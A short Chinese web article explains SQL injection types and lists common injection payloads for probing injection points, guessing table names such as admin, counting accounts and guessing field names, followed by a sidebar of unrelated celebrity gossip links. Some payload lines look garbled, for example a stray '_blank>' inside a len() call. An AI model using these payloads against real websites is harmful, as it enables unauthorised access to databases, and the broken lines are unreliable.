sql注入语句
sql注入语句是怎样的呢?下面就让我们一起来了解一下吧:
sql注入语句其实可以分为三种的,即数字型注入点,语句一般是“select * from表名where id=1 and 1=1”;字符型注入点,语句一般是“select * from表名where name...”;搜索型注入点。
而sql注入也就是通过将SQL命令插入到Web表单提交或是输入域名、页面请求的查询字符串,最终可以达到欺骗服务器执行恶意的SQL命令。
sql注入类型通常是可以按照不同方式进行分类的,比如若是按照注入点类型来进行分类可以分为数字型注入点、字符型注入点、搜索型注入点,若是按照数据提交的方式来分类,可以分为GET 注入、POST 注入、Cookie 注入、HTTP 头部注入。
当然也可以按照执行效果来分类,可以分为基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入。
其中常用的语句有:
1、判断有无注入点
; and 1=1 and 1=2
2、猜表 通常表的名称基本上是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3、猜帐号数目 若是遇到0< 返回正确页面 1<返回错误页面那么就说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4、猜解字段名称 在len()括号里面可以加上所想到的字段名称。
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
以上就是小编的分享了,希望能够帮助到大家。
生活百科
- 张卫健现在的处境 张卫健为什么如此落魄
- 何润东秃顶:44岁何润东近照曝光罕见秃头
- 草图君王帅个人资料 草图君王帅是干什么的
- 张铭恩女朋友张鑫图片 张铭恩豆得儿什么关系
- 张翰看见机场郑爽杨洋 张翰再次见到郑爽机场偶遇
- 周杰老婆刘虹个人资料 周杰结婚了吗老婆名字叫什么是干嘛的
- 邓伦对迪丽热巴特别好 迪丽热巴邓伦是同学吗
- 杨子暴打黄圣依天涯 黄圣依杨子天涯八卦真实情况
- papi酱为什么被封杀 网红papi酱为何被禁封杀
- 于朦胧的背景太恐怖了 曝于朦胧是单亲家庭
- 彭小苒整容前 彭小苒是不是整容了怎么不一样
- 祝晓晗的父亲资料 祝晓晗的亲爸爸是谁真实父母介绍
- 禁忌女孩泰国讲什么
- 艾克里里的身高好假 艾克里里个人资料身高是哪里人
- 赵树海两个儿子 赵树海有几个孙子大儿子是谁
- 北京壹心娱乐旗下艺人 壹心娱乐旗下艺人名单